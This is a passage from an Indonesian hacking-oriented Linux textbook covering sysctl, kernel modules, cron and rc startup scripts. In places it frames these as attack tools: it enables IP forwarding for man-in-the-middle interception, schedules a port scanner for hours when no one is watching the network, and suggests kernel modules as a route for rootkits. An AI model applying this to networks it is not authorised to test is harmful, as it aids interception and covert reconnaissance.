mungkin diperlukan saat Anda menginstal atau memuat driver kernel, jadi sangat berguna
untuk memahami cara mendapatkannya.
Salah satu cara lain untuk mendapatkan informasi ini, serta beberapa informasi
berguna lainnya adalah dengan menggunakan perintah cat pada file/proc/version, seperti:
kali >cat /proc/version
Linux version 4.6.0-kalil-amd64 (devel@kali.org) (gcc version 5.4.0 20160909
(Debian 5.4.0-6) ) #1 SMP Debian 4.6.4-lkalil (2016-07-21)
Di sini Anda dapat melihat bahwa file/proc/version mengembalikan informasi yang sama.
15.3 TUNING KERNEL DENGAN SYSCTL
Dengan perintah yang tepat, Anda dapat menyetel kernel, artinya Anda dapat
mengubah alokasi memori, mengaktifkan fitur jaringan, dan bahkan memperkuat kernel dari
serangan luar.
Kernel Linux modern menggunakan perintah sysctl untuk menyetel opsi kernel.
Semua perubahan yang Anda buat dengan sysctl tetap berlaku hanya sampai Anda memboot ulang sistem. Untuk membuat perubahan permanen, Anda harus mengedit file
konfigurasi untuk sysctl secara langsung di /etc/sysctl.conf.
Peringatan: Anda harus berhati-hati saat menggunakan sysctl karena tanpa
pengetahuan dan pengalaman yang tepat, Anda dapat dengan mudah membuat sistem
Anda tidak dapat di-boot dan tidak dapat digunakan. Pastikan Anda telah
mempertimbangkan apa yang Anda lakukan dengan cermat sebelum membuat perubahan
permanen apa pun.
Mari kita me lihat isi dari sysctl sekarang. Saat ini, Anda harusnya mengenali opsi
yang kami berikan dengan perintah yang ditampilkan di sini:
kali >sysctl -a | less
dev.cdrom.autoclose = 1
dev.cdrom.autoeject = 0
dev.cdrom.check_media = 0
dev.cdrom.debug = 0 --snip -
Pada output, Anda akan melihat ratusan baris parameter yang dapat diedit oleh
administrator Linux untuk mengoptimalkan kernel. Ada beberapa baris di sini yang berguna
bagi Anda sebagai Hacker. Sebagai contoh tentang bagaimana Anda dapat menggunakan
sysctl, kita akan melihat mengaktifkan penerusan paket.
Dalam serangan maninthe middle (MITM), Hacker menempatkan dirinya di antara
host yang berkomunikasi untuk mencegat informasi. Lalu lintas melewati sistem Hacker,
sehingga mereka dapat melihat dan mungkin mengubah komunikasi. Salah satu cara untuk
mencapai perutean ini adalah dengan mengaktifkan penerusan paket.
Jika Anda menggulir ke bawah beberapa halaman di output atau filter untuk “ipv4”
(sysctl -a | less | grep ipv4 ), Anda akan melihat hal berikut:
net.ipv4.ip_dynaddr = 0
net.ipv4.ip_early_demux = 0
net.ipv4.ip_forward = 0 net.ipv4.ip_forward_use_pmtu = 0
--sniP--
The line net.ipv4.ip_forward =
0 adalah parameter kernel yang memungkinkan kernel meneruskan paket yang diterimanya.
Dengan kata lain, paket yang diterimanya, dikirim kembali. Setelan defaultnya adalah 0, yang
berarti bahwa penerusan paket dinonaktifkan.
Untuk mengaktifkan penerusan IP, ubah 0 menjadi 1 dengan memasukkan yang
berikut ini:
kali >sysctl -w net.ipv4.ip_forward=1
Ingatlah bahwa perubahan sysctl terjadi pada waktu proses tetapi hilang saat sistem di-boot
ulang. Untuk membuat perubahan permanen pada sysctl, Anda perlu mengedit file
konfigurasi /etc/sysctl.conf. Mari ubah cara kernel menangani penerusan IP untuk serangan
MITM dan membuat perubahan ini permanen.
Untuk mengaktifkan penerusan IP, buka file /etc/sysctl.conf di editor teks mana pun
dan batalkan komentar pada baris untuk ip_forward.
Buka /etc/sycstl.conf dengan editor teks apa saja dan lihatlah:
#/etc/sysctl.conf - Configuration file for setting system variables
# See /etc/sysctl.d/ for additional system variables.
# See sysctl.conf (5) for information.
#
#kernel.domainname = example.com
# Uncomment the following to stop low-level messages on console.
#kernel.printk = 3 4 1 3
##############################################################3
# Functions previously found in netbase
#
# Uncomment the next two lines to enable Spoof protection (reverse-path
# Turn on Source Address Verification in all interfaces to
# prevent some spoofing attacks.
# net.ipv4.conf.default.rp_filter=1
# net.ipv4.conf.all.rp_filter=1
# Uncomment the next line to enable TCP/IP SYN cookies
#
# Note: This may impact IPv6 TCP sessions too
#net.ipv4.tcp_syncookies=1
See http://lwn.net/Articles/277146/
# Batalkan komentar pada baris berikutnya untuk mengaktifkan penerusan paket untuk IPv4
➊ #net.ipv4.ip_forward=1
Baris yang relevan ada di ➊ ; cukup hapus komentar (#) di sini untuk mengaktifkan
penerusan IP.
Dari perspektif pengerasan sistem operasi, Anda dapat menggunakan file ini untuk
menonaktifkan permintaan gema ICMP dengan menambahkan baris
net.ipv4.icmp_echo_ignore_all=1 untuk membuatnya lebih sulit—tetapi bukannya tidak
mungkin—bagi Hacker untuk menemukan sistem Anda. Setelah menambahkan baris, Anda
harus menjalankan command sysctl -p .
15.4 MENGELOLA MODUL KERNEL
Linux memiliki setidaknya dua cara untuk mengelola modul kernel. Cara lama adalah
menggunakan sekelompok perintah yang dibuat di sekitar suite insmod—insmod adalah
singkatan dari insert module dan dimaksudkan untuk menangani modul. Cara kedua,
menggunakan perintah modprobe, kita akan menerapkannya nanti di bab ini. Di sini, kami
menggunakan perintah lsmod dari suite insmod untuk membuat daftar modul yang diinstal
di kernel:
kali >lsmod
Module Size Used by
nfnetlink_queue 20480 0
nfnetlink_log 201480 0
nfnetlink 16384 2 nfnetlink_log, nfnetlink_queue
bluetooth 516096 0
rfkill 0 2 bluetooth
--snip--
Seperti yang Anda lihat, perintah lsmod mencantumkan semua modul kernel serta informasi
tentang ukurannya dan modul lain yang mungkin menggunakannya. Jadi, misalnya, modul
nfnetlink—protokol berbasis pesan untuk berkomunikasi antara kernel dan ruang
pengguna—berukuran 16.384 byte dan digunakan oleh modul nfnetlink_log dan modul
nf_netlink_queue.
Dari insmod suite, kita dapat memuat atau menyisipkan modul dengan insmod dan
menghapus modul dengan rmmod, yang merupakan singkatan dari remove module.
Perintah-perintah ini tidak sempurna dan mungkin tidak memperhitungkan dependensi
modul, sehingga menggunakannya dapat membuat kernel Anda tidak stabil atau tidak dapat
digunakan. Akibatnya, distribusi modern dari Linux kini telah menambahkan perintah
modprobe, yang secara otomatis memuat dependensi dan membuat pemuatan dan
penghapusan modul kernel menjadi tidak terlalu berisiko. Kami akan membahas modprobe
sebentar lagi. Pertama, mari lihat cara mendapatkan informasi selengkapnya tentang modul
kami.
Menemukan Informasi Lebih Lanjut dengan modinfo
Untuk mempelajari lebih lanjut tentang salah satu modul kernel, kita dapat
menggunakan perintah modinfo. Sintaks untuk perintah ini sangat sederhana: modinfo
diikuti dengan nama modul yang ingin Anda pelajari. Misalnya, jika Anda ingin mengambil
informasi dasar tentang modul kernel bluetooth yang Anda lihat saat menjalankan perintah
lsmod sebelumnya, Anda dapat memasukkan perintah berikut:
kali >modinfo bluetooth
filename: /lib/modules/4.6.0-kali-amd64/kernel/net/bluetooth/bluetooth.ko
alias: net-pf-31
license: GPL
version: 2.21
description:Bluetooth Core ver 2.21
author: Marcel Holtman <marcel@holtmann.org>
srcversion: FCFDE98577FEA911A3DAFA9
depends: rfkill, crc16
intree: Y
vermagic: 4.6.0-kali1-amd64 SMP mod_unload modversions
parm: disable_esco: Disable eSCO connection creation (bool)
parm: disable_ertm: Disable enhanced retransmission mode (bool)
Seperti yang Anda lihat, perintah modinfo mengungkapkan informasi penting tentang modul
kernel ini yang diperlukan untuk menggunakan Bluetooth di sistem Anda. Perhatikan bahwa
di antara banyak hal lainnya, ini mencantumkan dependensi modul: rfkill dan crc16.
Dependensi adalah modul yang harus diinstal agar modul bluetooth berfungsi dengan benar.
Biasanya, ini adalah informasi yang berguna saat memecahkan masalah mengapa
perangkat keras tertentu tidak berfungsi. Selain mencatat hal-hal seperti dependensi, Anda
juga bisa mendapatkan informasi tentang versi modul dan versi kernel yang dikembangkan
untuk modul tersebut dan kemudian memastikan mereka cocok dengan versi yang Anda
jalankan.
Menambah dan Menghapus Modul dengan modprobe
Sebagian besar distribusi Linux yang lebih baru, termasuk Kali Linux, menyertakan
perintah modprobe untuk manajemen LKM. Untuk menambahkan modul ke kernel Anda,
Anda akan menggunakan perintah modprobe dengan saklar -a (add), seperti:
kali >modprobe -a <module name
Untuk menghapus modul, gunakan sakelar -r (hapus) dengan modprobe diikuti dengan nama
modul:
kali >modprobe -r <module to be removed >
Keuntungan utama menggunakan modprobe daripada insmod adalah modprobe memahami
dependensi, opsi, dan prosedur penginstalan dan penghapusan serta mempertimbangkan
semua ini sebelum melakukan perubahan. Dengan demikian, lebih mudah dan lebih aman
untuk menambahkan dan menghapus modul kernel dengan modprobe.
Inserting dan Deleting Modul Kernel
Mari kita coba menyisipkan dan menghapus modul pengujian untuk membantu Anda
membiasakan diri dengan proses ini. Bayangkan Anda baru saja memasang kartu video baru
dan Anda perlu memasang driver untuk kartu video tersebut. Ingat, driver untuk perangkat
biasanya dipasang langsung ke dalam kernel untuk memberi mereka akses yang diperlukan
agar berfungsi dengan benar. Hal ini juga membuat driver menjadi lahan subur bagi Hacker
jahat untuk memasang rootkit atau perangkat pendengar lainnya.
Mari kita asumsikan untuk tujuan demonstrasi (tidak benar-benar menjalankan
perintah ini) bahwa kita ingin menambahkan driver video baru bernama
HackersBangkitNewVideo. Anda dapat menambahkannya ke kernel Anda dengan
memasukkan yang berikut:
kali >modprobe -a HackersBangkitNewVideo
Untuk menguji apakah modul baru dimuat dengan benar, Anda dapat menjalankan
perintah dmesg yang mencetak buffer pesan dari kernel, lalu memfilter untuk "video" dan
mencari peringatan apa pun yang akan menunjukkan masalah.
kali >dmesg | grep video
Jika ada pesan kernel dengan kata "video" di dalamnya, pesan tersebut akan
ditampilkan di sini. Jika tidak ada yang muncul, berarti tidak ada pesan yang berisi kata kunci
tersebut.
Kemudian, untuk menghapus modul yang sama ini, Anda dapat memasukkan
perintah yang sama tetapi dengan tombol -r (hapus):
kali >modprobe -r HackersBangkitNewVideo
Ingat, modul kernel yang dapat dimuat adalah kemudahan bagi pengguna/admin
Linux, tetapi juga merupakan kelemahan keamanan utama dan yang harus diketahui oleh
Hacker profesional. Seperti yang saya katakan sebelumnya, LKM dapat menjadi kendaraan
yang sempurna untuk memasukkan rootkit Anda ke dalam kernel dan mendatangkan
malapetaka!
15.5 RINGKASAN
Kernel sangat penting untuk keseluruhan operasi sistem operasi, dan dengan
demikian, ini adalah kawasan yang dilindungi. Apa pun yang secara tidak sengaja
ditambahkan ke kernel dapat mengganggu sistem operasi dan bahkan mengendalikannya.
LKM memungkinkan administrator sistem untuk menambahkan modul langsung ke
dalam kernel tanpa harus membangun kembali seluruh kernel setiap kali mereka ingin
menambahkan modul.
Jika seorang Hacker dapat meyakinkan admin sistem untuk menambahkan LKM yang
berbahaya, Hacker dapat mengambil kendali penuh atas sistem, sering kali tanpa diketahui
oleh admin sistem.
BAB 16
OTOMATISASI TASK DENGAN JOB SCHEDULING
Seperti semua orang yang menggunakan Linux, Hacker sering kali memiliki tugas,
skrip, atau tugas lain yang ingin dijalankan secara berkala. Anda mungkin, misalnya, ingin
menjadwalkan pencadangan file reguler otomatis dari sistem Anda, atau mungkin Anda ingin
memutar file log seperti yang kami lakukan di Bab 11. Hacker, di sisi lain, mungkin juga ingin
sistem pemindai MySQL menjalankan sistem mereka. .sh skrip dari Bab 8 setiap malam atau
saat mereka di kerja atau sekolah. Ini adalah semua contoh penjadwalan pekerjaan otomatis.
Menjadwalkan tugas memungkinkan Anda menjalankan tugas tanpa harus memikirkannya,
dan Anda dapat menjadwalkan tugas untuk dijalankan saat Anda tidak menggunakan sistem
sehingga Anda memiliki banyak sumber daya gratis.
Admin Linux—atau Hacker dalam hal ini—mungkin juga ingin menyetel skrip atau
layanan tertentu untuk memulai secara otomatis saat sistem mereka melakukan booting.
Dalam Bab 12, kita melihat penggunaan database PostgreSQL yang terkait dengan kerangka
kerja Hacker/pentest Metasploit. Daripada memulai secara manual database PostgreSQL
setiap kali sebelum memulai Metasploit, Anda dapat membuat PostgreSQL—atau layanan
atau skrip apa pun—mulai secara otomatis saat sistem melakukan booting.
Dalam bab ini, Anda akan mempelajari lebih lanjut tentang cara menggunakan
daemon cron dan crontab untuk menyiapkan skrip agar berjalan secara otomatis, bahkan
saat sistem tidak dijaga. Anda juga akan mempelajari cara menyiapkan skrip startup yang
secara otomatis berjalan setiap kali sistem di-boot, yang akan memberi Anda layanan yang
diperlukan yang perlu Anda jalankan selama hari sibuk peretasan.
16.1 MEJADWALKAN ACARA UNTUK DILAKSANAKAN SECARA OTOMATIS
Daemon cron dan tabel cron (crontab) adalah alat yang paling berguna untuk
menjadwalkan tugas reguler. Yang pertama, crond, adalah daemon yang berjalan di latar
belakang. Daemon cron memeriksa tabel cron untuk perintah mana yang harus dijalankan
pada waktu tertentu. Kita dapat mengubah tabel cron untuk menjadwalkan tugas atau
pekerjaan yang harus dijalankan secara teratur pada hari atau tanggal tertentu, pada waktu
tertentu setiap hari, atau setiap beberapa minggu atau bulan.
Untuk menjadwalkan tugas atau tugas ini, masukkan ke dalam file tabel cron yang
terletak di /etc/crontab. Tabel cron memiliki tujuh bidang: lima bidang pertama digunakan
untuk menjadwalkan waktu untuk menjalankan tugas, bidang keenam menentukan
pengguna, dan bidang ketujuh digunakan untuk jalur absolut ke perintah yang Anda jalankan.
Jika kami menggunakan tabel cron untuk menjadwalkan skrip, kami dapat menempatkan
jalur absolut ke skrip di kolom ketujuh.
Masing-masing dari lima bidang waktu mewakili elemen waktu yang berbeda: menit,
jam, hari dalam sebulan, bulan, dan hari dalam seminggu, dalam urutan itu. Setiap elemen
waktu harus direpresentasikan secara numerik, sehingga Maret direpresentasikan sebagai 3
(Anda tidak bisa hanya memasukkan “Maret”). Hari-hari dalam seminggu dimulai pada 0,
yaitu hari Minggu, dan berakhir pada 7 yang juga hari Minggu. Tabel 16.1 meringkas ini.
Jadi, jika kami telah menulis skrip untuk memindai globe untuk port terbuka yang
rentan dan ingin menjalankannya setiap malam pada pukul 02:30, Senin hingga Jumat, kami
dapat menjadwalkannya di file crontab. Kami akan memandu melalui proses bagaimana
memasukkan informasi ini ke dalam crontab sebentar lagi, tetapi pertama-tama mari kita
bahas format yang harus kita ikuti, yang ditunjukkan di Daftar 16.1.
M H DOM MON DOW USER COMMAND
30 2 * * 1-5 root /root/myscanningscript
Daftar 16.1 Format untuk penjadwalan perintah
File crontab membantu melabeli kolom untuk Anda. Perhatikan bahwa kolom
pertama menunjukkan menit (30), kolom kedua menunjukkan jam (2), kolom kelima
menunjukkan hari (1-5, atau Senin hingga Jumat), kolom keenam mendefinisikan pengguna
(root), dan kolom ketujuh adalah jalur menuju skrip. Kolom ketiga dan keempat berisi tanda
bintang (*) karena kami ingin skrip ini dijalankan setiap hari Senin sampai Jumat terlepas dari
hari atau bulannya.
Dalam Daftar 16.1, bidang kelima menentukan rentang untuk hari dalam minggu den
gan menggunakan tanda hubung () di antara angka. Jika Anda ingin menjalankan skrip pada
beberapa hari yang tidak bersebelahan dalam seminggu, Anda dapat memisahkan hari-hari
tersebut dengan koma (,). Jadi, Selasa dan Kamis adalah 2,4 .
Untuk mengedit crontab, Anda dapat menjalankan perintah crontab diikuti dengan
opsi-e (edit):
kali >crontab -e
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <----easiest
2. /usr/bin/mcedit
3. /usr/bin/vim.basic
4. /usr/bin/vim.gtk
5. /usr/bin/vim.tiny
Choose 1-5 [1]:
Saat pertama kali Anda menjalankan perintah ini, perintah ini akan menanyakan
editor mana yang ingin Anda gunakan. Defaultnya adalah /bin/nano, opsi 1. Jika Anda
memilih opsi ini, opsi akan terbuka langsung ke crontab.
Opsi lainnya, dan sering kali yang lebih baik untuk pendatang baru di Linux, adalah
membuka crontab langsung di editor teks favorit Anda, yang dapat Anda lakukan seperti:
kali >leafpad /etc/crontab
Saya telah menggunakan perintah ini untuk membuka crontab di Leafpad.
Anda dapat melihat cuplikan file di Daftar 16.2.
# /etc/crontab: system-wide crontab
# Unlike any other crontab, you don't have to run the 'crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# which no other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron II ( cd / && run-parts
47 6 * * 7 root test -x /usr/sbin/anacron II ( cd / && run-parts
52 6 1 * * root test -x /usr/sbin/anacron II ( cd / && run-parts
#
Daftar 16.2 File crontab sedang digunakan di editor teks
Sekarang, untuk menetapkan tugas baru yang dijadwalkan secara rutin, Anda hanya
perlu memasukkan baris baru dan menyimpan file.
Menjadwalkan Tugas Pencadangan Mari kita lihat utilitas ini terlebih dahulu dari
perspektif administrator sistem. Sebagai administrator sistem, Anda sering kali ingin
menjalankan pencadangan semua file Anda setelah jam kerja, saat sistem tidak digunakan
dan sumber daya tersedia dengan mudah. (Pencadangan sistem cenderung memerlukan
sumber daya sistem yang tidak terlalu dibutuhkan selama jam kerja.) Waktu yang ideal
mungkin di tengah malam pada akhir pekan. Daripada harus masuk pada pukul 02:00 pada
Sabtu malam/Minggu pagi (saya yakin Anda memiliki prioritas lain pada waktu itu), Anda
dapat menjadwalkan pencadangan untuk dimulai secara otomatis pada waktu itu, meskipun
Anda tidak berada di depan komputer .
Perhatikan bahwa bidang jam menggunakan jam 24
jam daripada menggunakan AM dan PM, jadi 1 PM, misalnya, 13:00. Perhatikan juga bahwa
hari dalam seminggu (DOW) dimulai dengan hari Minggu (0) dan diakhiri dengan hari Sabtu
(6).
Untuk membuat tugas, Anda hanya perlu mengedit file crontab dengan
menambahkan baris dalam format yang ditentukan. Jadi, misalnya Anda ingin membuat
tugas pencadangan biasa menggunakan akun pengguna bernama “pencadangan”. Anda akan
menulis skrip untuk mencadangkan sistem dan menyimpannya sebagai systembackup.sh di
direktori/bin, lalu menjadwalkan pencadangan ini untuk dijalankan setiap Sabtu
malam/Minggu pagi pukul 02.00 dengan menambahkan baris berikut ke crontab:
00 2 * * 0 backup /bin/systembackup.sh
Perhatikan bahwa karakter pengganti * digunakan untuk menunjukkan “setiap”, dan
menggunakannya sebagai pengganti digit untuk hari dalam sebulan, bulan, atau hari dalam
seminggu dibaca sebagai “semua” hari atau bulan. Jika Anda membaca di baris ini, ternyata
ternyata
1. Di bagian atas jam (00 ),
2. Dari jam kedua (2 ),
3. Dari setiap hari dalam bulan (* ),
4. Dari setiap bulan (* ),
5. Pada Minggu (0 ),
6. Sebagai pengguna cadangan,
7. Jalankan skrip di /bin/systembackup.sh.
Daemon cron kemudian akan menjalankan skrip tersebut setiap Minggu pagi pukul 02.00,
setiap bulan.
Jika Anda hanya ingin pencadangan berjalan pada tanggal 15 dan 30 setiap bulan,
terlepas dari hari apa dalam seminggu tanggal tersebut jatuh, Anda dapat merevisi entri di
crontab agar muncul sebagai berikut:
00 2 15,30 * * backup /root/systembackup.sh
Perhatikan bahwa bidang hari dalam bulan/day of the month (DOM) sekarang memiliki 15,30.
Ini memberi tahu sistem untuk menjalankan skrip hanya pada tanggal 15 dan 30 setiap bulan,
jadi sekitar setiap dua minggu. Jika Anda ingin menentukan beberapa hari, jam, atau bulan,
Anda perlu mencantumkannya dengan dipisahkan dengan koma, seperti yang kami lakukan
di sini.
Selanjutnya, mari kita asumsikan bahwa perusahaan mengharuskan Anda untuk
sangat waspada dengan cadangannya. Perangkat ini tidak dapat kehilangan bahkan satu hari
pun data jika terjadi pemadaman listrik atau kerusakan sistem. Kemudian, Anda perlu
mencadangkan data setiap malam kerja dengan menambahkan baris berikut:
00 23 * * 1-5 backup /root/systembackup.sh
Pekerjaan ini akan berjalan pada pukul 11 malam (jam 23), setiap hari dalam sebulan,
setiap bulan, tetapi hanya pada Senin sampai Jumat (hari 1-5). Khususnya perhatikan bahwa
kami menetapkan hari Senin sampai Jumat dengan memberikan interval hari (1-5) yang
dipisahkan dengan tanda hubung (). Ini mungkin juga telah ditetapkan sebagai 1,2,3,4,5;
kedua cara ini berfungsi dengan baik.
Menggunakan crontab untuk Menjadwalkan MySQLscanner
Anda Sekarang setelah Anda memahami dasar-dasar penjadwalan tugas dengan
perintah crontab, mari jadwalkan skrip MySQLscanner.sh yang mencari port MySQL terbuka
yang Anda buat di MySQLscannersearchThisesSQLini dengan mencari port terbuka 3306.
Untuk memasukkan MySQLscanner.sh Anda ke file crontab, edit file tersebut untuk
memberikan rincian pekerjaan ini, seperti yang kami lakukan dengan cadangan sistem. Kami
akan menjadwalkannya untuk dijalankan di siang hari saat Anda sedang bekerja sehingga
tidak menghabiskan sumber daya saat Anda menggunakan sistem rumah Anda.
Untuk melakukannya, masukkan baris berikut di crontab Anda:
00 9 * * * user /usr/share/MySQLsscanner.sh
Kami telah menyiapkan tugas untuk dijalankan pada 00 menit, pada jam kesembilan,
setiap hari dalam sebulan (*), setiap bulan (*), setiap hari dalam seminggu (*), dan untuk menjalankannya sebagai pengguna biasa. Kami hanya perlu menyimpan file crontab ini
untuk menjadwalkan pekerjaan.
Sekarang, katakanlah Anda ingin sangat berhati-hati dan hanya menjalankan
pemindai ini pada akhir pekan dan pada pukul 02.00 ketika kecil kemungkinan ada orang
yang menonton lalu lintas jaringan. Anda juga hanya ingin itu berjalan di musim panas, Juni
hingga Agustus. Pekerjaan Anda akan sekarang terlihat seperti ini:
00 2 * 6-8 0,6 user /usr/share/MySQLsscanner.sh
Anda akan menambahkan ini ke crontab seperti seperti:
# /etc/crontab: system-wide crontab
# Tidak seperti crontab lainnya, Anda tidak perlu menjalankan 'crontab'
# perintah untuk menginstal versi baru saat Anda mengedit file ini
# dan file di /etc/cron.d. File-file ini juga memiliki bidang nama pengguna,
# yang tidak dilakukan oleh crontab lainnya.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron II ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron II ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron II ( cd / && run-parts --report /etc/cron.monthly )
00 2 * 6-8 0,6 user /usr/share/MySQLsscanner.sh
Sekarang, MySQLscanner.sh Anda hanya akan berjalan pada akhir pekan di bulan Juni, Juli
dan Agustus pukul 2 pagi.
Pintasan crontab
File crontab memiliki beberapa pintasan bawaan yang dapat Anda gunakan alih-alih
menentukan waktu, hari, dan bulan setiap waktu. Ini termasuk yang berikut:
@yearly
@annually
@monthly
@weekly
@daily
@midnight
@noon
@reboot
Jadi, jika Anda ingin pemindai MySQL berjalan setiap malam di tengah malam, Anda dapat
menambahkan baris berikut ke file crontab:
@midnight user /usr/share/MySQLsscanner.sh
16.2 MENGGUNAKAN SKRIP RC UNTUK MENJALANKAN PEKERJAAN SAAT MULAI
Setiap kali Anda memulai sistem Linux, sejumlah skrip dijalankan untuk menyiapkan
lingkungan untuk Anda. Ini dikenal sebagai skrip rc. Setelah kernel melakukan inisialisasi dan
memuat semua modulnya, kernel memulai daemon yang dikenal sebagai init atau init.d.
Daemon ini kemudian mulai menjalankan sejumlah skrip yang ditemukan di/etc/init.d/rc.
Skrip ini mencakup perintah untuk memulai banyak layanan yang diperlukan untuk
menjalankan sistem Linux Anda seperti yang Anda harapkan.
Linux Runlevel Linux memiliki beberapa runlevel yang menunjukkan layanan apa yang
harus dimulai saat boot. Misalnya, runlevel 1 adalah mode pengguna tunggal, dan layanan
seperti jaringan tidak dimulai di runlevel 1. Skrip rc disetel untuk berjalan bergantung pada
runlevel yang dipilih:
0 Menghentikan sistem
1 Mode pengguna tunggal/minimal
2–5 Mode multipengguna
6 Mulai ulang sistem
Menambahkan Layanan ke rc.d
Anda dapat menambahkan layanan agar skrip rc.d dijalankan saat startup
menggunakan perintah update-rc.d. Perintah ini memungkinkan Anda untuk menambah
atau menghapus layanan dari skrip rc.d. Sintaksnya untuk update-rc.d sangat mudah; Anda
cukup mencantumkan perintah diikuti dengan nama skrip dan kemudian tindakan yang
harus dilakukan, seperti:
kali >update-rc.d <name of the script or service>
< remove | defaults |disable |enable>
Sebagai contoh tentang bagaimana Anda dapat menggunakan update-rc.d, mari kita
asumsikan Anda selalu ingin database PostgreSQL dimulai saat boot sistem sehingga
kerangka kerja Metasploit Anda dapat menggunakannya untuk menyimpan hasil pengujian
dan peretasan. Anda akan menggunakan update-rc.d untuk menambahkan baris ke skrip rc.d
untuk mengaktifkannya dan menjalankannya setiap kali Anda mem-boot sistem Anda.
Sebelum Anda melakukannya, mari kita periksa apakah PostgreSQL sudah berjalan di
sistem Anda. Anda dapat melakukannya menggunakan perintah ps dan menyalurkannya ke
filter yang mencari PostgreSQL menggunakan grep, seperti:
kali >ps aux | grep postgresql
root 3876 0.0 0.0 12720 964pts/1 S+ 14.24 0.00 grep postgresql
Keluaran ini memberi tahu kami bahwa satu-satunya proses yang ditemukan berjalan
untuk PostgreSQL adalah perintah yang kami jalankan untuk mencarinya, jadi tidak ada
database PostgreSQL yang berjalan di sistem ini saat ini.
Sekarang, mari update rc.d kita agar PostgreSQL berjalan secara otomatis saat
bootup:
kali >update-rc.d postgresql defaults
Tindakan ini akan menambahkan baris ke file rc.d. Anda perlu me-reboot sistem agar
perubahan terjadi. Setelah Anda selesai melakukannya, mari gunakan kembali perintah ps
dengan grep untuk mencari proses PostgreSQL:
kali >ps aux | grep postgresql
postgresql 757 0.0 0.1 287636 25180 ? S March 14
0.0 /usr/lib/postgresql/9.6/bin/postgresql -D
/var/lib/postgresql/9.6/main
-c config_file=/etc/postgresql/9.6/main/postgresql.conf
root 3876 0.0 0.0 12720 964pts/1 S+ 14.24 0.00 grep postgresql
Seperti yang Anda lihat, PostgreSQL berjalan tanpa Anda pernah memasukkan perintah apa
pun secara manual. Ini secara otomatis dimulai saat sistem Anda booting, siap dan
menunggu untuk digunakan dengan Metasploit Anda!
16.3 MENAMBAHKAN LAYANAN KE BOOTUP ANDA VIA GUI
Jika Anda lebih nyaman bekerja dari GUI untuk menambahkan layanan saat startup,
Anda dapat mengunduh alat rcconf berbasis GUI yang belum sempurna dari repositori Kali,
seperti:
kali >apt-get install rcconf
Setelah rcconf selesai diinstal, Anda dapat memulai rcconf dengan memasukkan yang
berikut ini:
kali >rcconf
Ini akan membuka GUI sederhana seperti yang ada di Gambar 16.1. Anda kemudian dapat
menggulir melalui layanan yang tersedia, memilih layanan yang ingin Anda mulai saat boot,
dan klik OK.
Gambar 16.1 GUI rcconf untuk menambahkan layanan ke startup
Pada gambar ini, Anda dapat melihat layanan PostgreSQL yang tercantum kedua dari
terakhir. Tekan bilah spasi untuk memilih layanan ini, tekan TAB untuk menyorot <Ok>, lalu
tekan ENTER. Saat berikutnya Anda mem-boot Kali, PostgreSQL akan dimulai secara otomatis.
16.4 RINGKASAN
Baik administrator sistem maupun Hacker sering kali perlu menjadwalkan layanan,
skrip, dan utilitas untuk dijalankan pada interval reguler. Linux memungkinkan Anda untuk
menjadwalkan hampir semua skrip atau utilitas untuk dijalankan secara reguler
menggunakan daemon cron yang menjalankan tugas ini dari tabel cron. Selain itu, Anda
dapat membuat layanan dimulai secara otomatis saat boot dengan menggunakan perintah
update-rc.d atau alat berbasis GUI rcconf untuk mengupgrade skrip rc.d.
BAB 17
DASAR-DASAR SCRIPT PYTHON UNTUK HACKERS
Keterampilan dasar pembuatan skrip sangat penting untuk menjadi master Hacker.
Tanpa mengembangkan beberapa keterampilan dasar pembuatan skrip, Hacker pemula yang
hanya menggunakan alat yang dibuat oleh orang lain akan dikutuk ke dunia script kiddies. Ini
berarti bahwa Anda akan dibatasi untuk menggunakan alat yang dikembangkan oleh orang
lain, yang mengurangi kemungkinan keberhasilan Anda dan meningkatkan kemungkinan
deteksi oleh software antivirus (AV), intrusion detection systems (IDS), dan penegakan
hukum. Dengan beberapa keterampilan scripting, Anda dapat meningkatkan diri Anda ke
eselon atas dari master Hacker!
Di Bab 8, kami mencakup dasar-dasar skrip bash dan membuat beberapa skrip
sederhana, termasuk MySQLScanner.sh, yang menemukan sistem yang menjalankan sistem
database MySQL yang ada di mana-mana. Di bab ini, kita mulai melihat bahasa scripting yang
paling banyak digunakan oleh Hacker: Python. Banyak alat Hacker paling populer ditulis
dalam Python, termasuk sqlmap, scapy, SocialEngineer Toolkit (SET), w3af, dan banyak lagi.
Python memiliki beberapa fitur penting yang membuatnya sangat cocok untuk
peretasan, tetapi mungkin yang paling penting, Python memiliki beragam pustaka yang
sangat besar—modul kode bawaan yang dapat diimpor secara eksternal dan digunakan
kembali—yang menyediakan fungsionalitas yang uat. Python dikirimkan dengan lebih dari
1.000 modul bawaan, dan banyak lagi yang tersedia di berbagai repositori lainnya. Membuat
hacking tool juga bisa dibuat menggunakan bahasa yang lain, seperti bash, Perl, dan Ruby,
tetapi modul Python mempermudah pembuatan alat ini.
17.1 MENAMBAHKAN MODUL PYTHON
Saat menginstal Python, Anda juga menginstal kumpulan pustaka dan modul
standarnya yang menyediakan berbagai kemampuan yang luas, termasuk tipe data bawaan,
penanganan pengecualian, modul numerik dan matematika, penanganan data dan
kriptografi, penanganan file dan data, interaksi dengan internet protocol (IP)
Gambar 17.1 Indeks Paket Python
Terlepas dari semua kekuatan yang ditawarkan oleh perpustakaan dan modul
standar ini, Anda mungkin memerlukan atau menginginkan modul pihak ketiga tambahan.
Modul pihak ketiga yang tersedia untuk Python sangat luas dan mungkin merupakan alasan
sebagian besar Hacker lebih memilih Python untuk membuat skrip. Anda dapat menemukan
daftar lengkap modul pihak ketiga di PyPI (Indeks Paket Python, ditunjukkan pada Gambar
17.1) di http://www.pypi.org/.
Menggunakan pip
Python memiliki pengelola paket khusus untuk menginstal dan mengelola paket
Python yang dikenal sebagai pip (Paket Pemasangan Pip). Karena kami bekerja dengan
